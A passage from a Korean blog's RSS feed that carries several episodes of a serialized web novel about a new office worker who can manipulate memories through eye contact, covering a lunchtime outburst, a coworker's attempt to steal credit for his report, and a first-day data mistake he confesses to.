&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 내 안에서 팽팽하게 당겨져 있던 이성의 끈이 툭 끊어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;짐만 된다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평생을 따라다닌 꼬리표. 약한 심장 때문에 체육 시간에 벤치를 지킬 때도, 친구들이 축구를 할 때 창밖을 볼 때도 들었던 그 말. 성인이 되어서까지 이 말을 들어야 한다는 사실이 견딜 수 없이 비참했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심장이 미친 듯이 뛰었다. 억울함과 분노가 혈관을 타고 역류해 머리끝까지 차올랐다. 시야가 붉게 물들었다. 나는 고개를 들어 최 주임을 똑바로 쳐다봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;그만해. 닥쳐. 제발 좀 닥치라고!&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이성이 개입할 틈도 없었다. 평소처럼 차갑고 정교하게 기억을 조작하는 과정 따위는 없었다. 내 눈동자 깊은 곳에서 뜨거운 용암 같은 것이 솟구쳐 올랐다. 그것은 제어되지 않은 날것의 감정 덩어리였다. 내 시선이 최 주임의 눈동자에 꽂히는 순간, 보라색 잔상이 거칠게 일렁였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쾅!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 갑자기 식탁을 내리치며 벌떡 일어났다. 찌개 국물이 사방으로 튀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이&amp;hellip; 이 미친 새끼가!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;식당 안의 모든 시선이 우리 테이블로 쏠렸다. 최 주임의 얼굴은 공포와 분노로 새빨갛게 달아올라 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너 방금 뭐라고 했어? 죽여버린다고? 내 눈을 파버리겠다고?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;네?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 멍하니 그를 올려다봤다. 나는 아무 말도 하지 않았다. 입술조차 떼지 않았다. 하지만 최 주임은 마치 귀신이라도 본 사람처럼 씩씩거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;다들 들었죠? 이 새끼가 저한테 쌍욕 하는 거! 와, 나 진짜 어이가 없네. 신입 주제에 선배한테 죽여버리겠다니, 이게 말이 됩니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 주변 동료들에게 동의를 구했다. 하지만 동료들의 표정은 당황스러움 그 자체였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;진호야, 왜 그래? 한결 씨는 아무 말도 안 했는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;맞아. 가만히 밥만 먹고 있었잖아. 너 갑자기 왜 그래?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐? 아니, 분명히 들었다니까! 내 귀에 대고 속삭였잖아! 눈을 부라리면서!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임은 억울해서 미치겠다는 듯 가슴을 쳤다. 하지만 그럴수록 주변 사람들은 그를 이상한 눈으로 쳐다볼 뿐이었다. 혼자 허공에 대고 화를 내는 미친 사람 취급이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때 깨달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 분노가, 내 살의가&amp;hellip; 정제되지 않은 채 그에게 쏟아져 들어갔다는 것을. 그것은 &amp;lsquo;기억 조작&amp;rsquo;이 아니라, 내 내면의 비명을 상대의 뇌에 직접 꽂아 넣는 폭력이나 다름없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;환청&amp;hellip;?&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;아&amp;hellip;.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 고개를 숙였다. 최 주임은 분을 이기지 못하고 식당을 나가버렸다. 남겨진 자리에는 어색하고 무거운 침묵만이 감돌았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;한결 씨, 괜찮아요? 진호가 요즘 스트레스를 많이 받아서 그런가 봐요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윤 대리가 휴지를 건네며 말했다. 그녀는 나를 위로하고 있었지만, 그녀의 눈빛 속에는 미세한 의구심이 서려 있었다. 아무 말도 안 했는데 사람이 저렇게까지 반응할 수 있을까, 하는 본능적인 의심.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;죄송합니다&amp;hellip; 저 때문에 분위기가&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니에요. 밥이나 마저 먹어요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 숟가락을 들었지만, 목구멍이 꽉 막혀 아무것도 넘길 수 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오후 업무 시간 내내 사무실 분위기는 살얼음판이었다. 최 주임은 자리에 돌아와서도 나를 힐끔거리며 경계했다. 나를 보는 그의 눈에는 이제 경멸이 아니라 &amp;lsquo;공포&amp;rsquo;가 담겨 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 모니터 뒤에 숨어 떨리는 손을 감췄다. 키보드를 두드리는 척했지만, 손끝 감각이 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람들이 수군거리는 소리가 들리는 것 같았다. 저 신입, 뭔가 이상해. 눈빛이 기분 나빠. 가까이 가지 마.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숨이 막혀왔다. 내가 원한 건 이게 아니었다. 그냥 조용히, 평범하게 회사 생활을 하고 싶었을 뿐인데. 내 능력은 나를 지키는 방패가 아니라, 주변을 파괴하고 나를 고립시키는 시한폭탄이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;이제 사람들은 나를 피해 다닐 거야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 미친 사람 취급을 받는 걸 보며 통쾌함보다는 죄책감이, 그리고 들킬지 모른다는 공포가 밀려왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;퇴근길, 엘리베이터 거울에 비친 내 눈을 보았다.&lt;br /&gt;평범해 보이는 갈색 눈동자. 하지만 그 안에는 괴물이 살고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 눈을 질끈 감았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가와 눈을 마주치는 게, 이렇게나 무서운 일이었던가.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 내 능력이 불러온 첫 번째 비극이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfwkwJ/dJMcagdqNAz/Xt9OHDso5cmcoYAZIVLNMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfwkwJ/dJMcagdqNAz/Xt9OHDso5cmcoYAZIVLNMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfwkwJ/dJMcagdqNAz/Xt9OHDso5cmcoYAZIVLNMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfwkwJ%2FdJMcagdqNAz%2FXt9OHDso5cmcoYAZIVLNMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;639&quot; height=&quot;639&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/205&quot;&gt;https://thepin.tistory.com/205&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421937352&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제4.5화. 틈새의 악의&quot; data-og-description=&quot;블로그 공부 온라인강의&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/205&quot; data-og-url=&quot;https://thepin.tistory.com/205&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/205&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/205&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제4.5화. 틈새의 악의&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;블로그 공부 온라인강의&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더쉽</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/206</guid>
      <comments>https://thepin.tistory.com/206#entry206comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:03:14 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제4.5화. 틈새의 악의</title>
      <link>https://thepin.tistory.com/205</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/206&quot;&gt;https://thepin.tistory.com/206&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제4.5화. 틈새의 악의&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점심시간의 소동 이후, 최진호 주임의 괴롭힘은 더욱 음습하고 교묘해졌다. 대놓고 시비를 거는 대신, 내 업무 성과를 야금야금 갉아먹으려는 시도가 시작된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오후 4시. 나른한 오후의 공기를 가르고 누군가의 발소리가 내 자리 뒤에서 멈췄다. 척추를 타고 오르는 서늘한 감각. 돌아보지 않아도 알 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 이한결. 아까 팀장님이 시킨 &amp;lsquo;경쟁사 앱 분석 보고서&amp;rsquo;, 다 했냐?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 의자 등받이를 툭 치며 물었다. 고개를 돌려 그를 올려다보았다. 그의 눈빛에는 먹잇감을 노리는 하이에나 같은 탐욕이 번들거리고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네, 초안 작성했습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그거 나한테 메일로 보내놔. 내가 검토하고 취합해서 팀장님께 보고할 테니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뻔한 수작이었다. &amp;lsquo;검토&amp;rsquo;와 &amp;lsquo;취합&amp;rsquo;이라는 그럴싸한 명분 아래, 내 보고서 표지를 자신의 이름으로 갈아 끼우려는 속셈. 그는 내가 갓 들어온 신입이니, 위계질서라는 명분으로 찍어 누르면 꼼짝 못 하고 바칠 것이라 믿고 있는 눈치였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전의 나라면 당황해서 파일을 넘겨줬을지도 모른다. 아니면 억울해하면서도 보복이 두려워 순응했을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 지금의 나는 달랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;더 이상 당하지 않아. 내 노력은 내가 지킨다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 모니터에서 시선을 떼지 않은 채, 키보드 위에 올린 손가락을 멈추지 않고 담담하게 대답했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;말씀하신 부분은 이미 팀장님께 직접 메일로 드렸습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;뭐?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임의 미간이 확 구겨졌다. 예상치 못한 반격에 당황한 기색이 역력했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네가 뭔데 직접 보고를 해? 사수 거치라고 안 배웠어? 위아래도 없어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그가 목소리를 낮게 깔며 으르렁거렸다. 주변의 시선을 의식한 듯했지만, 그 속엔 날 선 가시가 박혀 있었다. 나는 침착하게, 하지만 또렷하게 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;팀장님께서 급한 건이니 작성되는 대로 바로 보내라고 지시하셨습니다. 중간 보고 단계를 거치면 늦어질 것 같아서요. 아, 물론 참조(CC)에 주임님도 넣었습니다. 확인 못 하셨나요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;거짓말은 아니었다. 박 팀장은 효율을 중시하는 사람이었고, 불필요한 중간 단계를 극도로 싫어했다. 나는 그 점을 철저히 이용했을 뿐이다. &amp;lsquo;참조&amp;rsquo;에 그를 넣음으로써 절차를 무시했다는 비난도 피했다. 완벽한 방어였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너&amp;hellip; 지금 나 멕이는 거냐?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임의 얼굴이 붉으락푸르락해졌다. 할 말이 없어진 그는 주먹을 꽉 쥐고 부들거렸다. 그때, 파티션 너머에서 박 팀장이 벌떡 일어났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어, 이한결 씨! 방금 보낸 보고서 봤어요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장의 목소리가 사무실에 쩌렁쩌렁 울렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;분석 포인트가 아주 날카롭네. 특히 경쟁사 UI 뎁스(Depth) 비교한 거, 아주 좋았어. 바로 임원 보고 자료에 넣을게. 잘했어!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개적인 칭찬. 그것은 최 주임의 탐욕에 대한 사형 선고나 다름없었다. 최 주임은 입을 뻐끔거리다, 팀장과 나를 번갈아 보며 억지 미소를 지어 보였다. 비참함과 분노가 뒤섞인 기괴한 표정이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아&amp;hellip; 네. 한결이가&amp;hellip; 잘했네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 쥐어짜듯 대답하고는, 나를 향해 소리 없는 욕설을 내뱉으며 자기 자리로 돌아갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;두고 보자, 이한결.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 뒷모습이 패배감으로 구부정했다. 나는 안경을 고쳐 쓰며 모니터 구석에 뜬 &amp;lsquo;발송 완료&amp;rsquo; 메시지를 바라보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가슴 한구석이 뻥 뚫리는 듯한 쾌감이 밀려왔다. 기억을 조작해서 얻는 찝찝한 승리가 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력을 쓰지 않아도, 악의를 막아낼 방법은 있었다. 그것은 &amp;lsquo;원칙&amp;rsquo;과 &amp;lsquo;속도&amp;rsquo;, 그리고 내 실력에 대한 확신이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 이야기 : &lt;a href=&quot;https://thepin.tistory.com/207&quot;&gt;https://thepin.tistory.com/207&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422293239&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심&quot; data-og-description=&quot;제5화. 데이터와 진심점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/207&quot; data-og-url=&quot;https://thepin.tistory.com/207&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bvapNT/dJMb8QL8pZU/lQrx5Y84Ko35nSynnnXrIk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dgeZDD/dJMb8QeiDun/pzGdb55qqkBSmU6J0YVZ20/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/C4jgt/dJMb8QL8pZV/uuHDBjDNsFwK8TJmcWsj41/img.png?width=1024&amp;amp;height=945&amp;amp;face=0_0_1024_945&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/207&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/207&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bvapNT/dJMb8QL8pZU/lQrx5Y84Ko35nSynnnXrIk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dgeZDD/dJMb8QeiDun/pzGdb55qqkBSmU6J0YVZ20/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/C4jgt/dJMb8QL8pZV/uuHDBjDNsFwK8TJmcWsj41/img.png?width=1024&amp;amp;height=945&amp;amp;face=0_0_1024_945');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제5화. 데이터와 진심점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/205</guid>
      <comments>https://thepin.tistory.com/205#entry205comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:02:05 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안</title>
      <link>https://thepin.tistory.com/204</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/203&quot;&gt;https://thepin.tistory.com/203&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제3화. 첫 출근의 불안&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;넥솔브의 아침은 전쟁터였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;신입 사원 이한결입니다. 잘 부탁드립니다!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 2팀 사무실 한가운데서 허리를 90도로 숙였다. 내 목소리가 너무 컸는지, 몇몇 사람들이 흠칫하며 나를 쳐다봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아, 그래요. 저기 빈자리에 앉으면 돼요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박성우 팀장은 모니터에서 눈도 떼지 않은 채 손가락으로 구석 자리를 가리켰다. 면접 때의 그 날카로운 눈빛은 여전했다. 나는 쭈뼛거리며 지정된 자리에 앉았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내게 주어진 첫 업무는 &amp;lsquo;고객 데이터 정리&amp;rsquo;였다. 수천 행에 달하는 엑셀 파일을 열어 중복된 항목을 제거하고, 양식을 통일하는 단순 반복 작업이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;이 정도쯤이야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 의욕적으로 마우스를 잡았다. 면접 때 &amp;lsquo;효율&amp;rsquo;을 강조했던 만큼, 뭔가 보여주고 싶었다. 엑셀 함수를 쓰고, 매크로를 돌려 작업 속도를 높였다. 모니터 화면이 빠르게 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 의욕이 과했던 걸까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오후 3시, 사무실에 나른한 공기가 감돌 때였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어&amp;hellip;?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 입에서 당혹스러운 신음이 새어 나왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 속 데이터가 이상했다. 정렬 필터를 잘못 건드린 탓에, 고객 이름과 전화번호가 뒤죽박죽 섞여버린 것이다. 원본 파일은 이미 저장 버튼을 눌러 덮어씌워진 상태였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등줄기에 식은땀이 흘렀다. 심장이 쿵쿵거리며 흉곽을 때렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;복구해야 해. 빨리.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 취소(Ctrl+Z)를 연타했지만, 매크로가 실행된 이후라 되돌려지지 않았다. 백업 파일이 있는지 찾아봤지만 보이지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눈앞이 캄캄해졌다. 이건 단순한 실수가 아니었다. 고객 개인정보가 섞인다는 건, 회사 신뢰도에 치명적인 문제였다. 입사 첫날부터 대형 사고를 친 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때, 박 팀장이 자리에서 일어나는 소리가 들렸다. 그가 내 쪽으로 걸어오고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨, 아까 시킨 거 다 됐나? 잠깐 확인 좀 합시다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발소리가 가까워질수록 내 심장 박동 소리도 커졌다. 들키면 끝이다. 수습 기간도 못 채우고 잘릴지도 모른다. 아니, 그보다 박 팀장의 그 경멸 어린 눈빛을 다시 받는 게 죽기보다 싫었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고개를 돌려 박 팀장을 바라봤다. 그와 눈이 마주쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순간, 내 안의 악마가 속삭였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;눈을 써.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 능력을 쓰면 모든 걸 덮을 수 있다. 박 팀장에게 &amp;lsquo;데이터는 완벽하게 정리되어 있었다&amp;rsquo;는 기억을 심으면 된다. 아니면, &amp;lsquo;파일이 깨진 건 서버 오류 때문이었다&amp;rsquo;고 믿게 만들 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 눈동자 깊은 곳에서 익숙한 열기가 피어올랐다. 박 팀장이 내 책상 앞에 멈춰 섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;왜 그렇게 쳐다봅니까? 뭐 문제 있어요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 의아한 듯 물었다. 나는 마른침을 삼켰다. 1초만 더 응시하면 된다. 그러면 이 위기는 없던 일이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;회사에서는 절대 쓰지 않겠다고 했잖아.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면접장을 나오며 했던 다짐이 발목을 잡았다. 나는 입술을 깨물며 고개를 푹 숙였다. 시선을 끊어냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;팀장님&amp;hellip; 죄송합니다. 제가 데이터를&amp;hellip; 섞어버렸습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적이 흘렀다. 박 팀장의 한숨 소리가 들릴 것만 같아 눈을 질끈 감았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;비켜봐요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때, 내 옆자리에서 누군가 불쑥 나타나 키보드를 낚아챘다. 옆자리에 앉아 있던 대리, &amp;lsquo;윤서아&amp;rsquo;였다. 그녀는 무심한 표정으로 내 모니터를 들여다보더니 타닥타닥 키보드를 두드렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;서아 대리, 무슨 일이야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 묻자, 윤 대리가 덤덤하게 대답했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;신입이 정렬 실수를 좀 했네요. 근데 이거 공용 서버에 자동 백업되는 폴더잖아요. 10분 전 버전으로 롤백하면 돼요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그녀의 손놀림 몇 번에 화면이 깜빡이더니, 뒤죽박죽이었던 데이터가 거짓말처럼 원상 복구되었다.&lt;/p&gt;
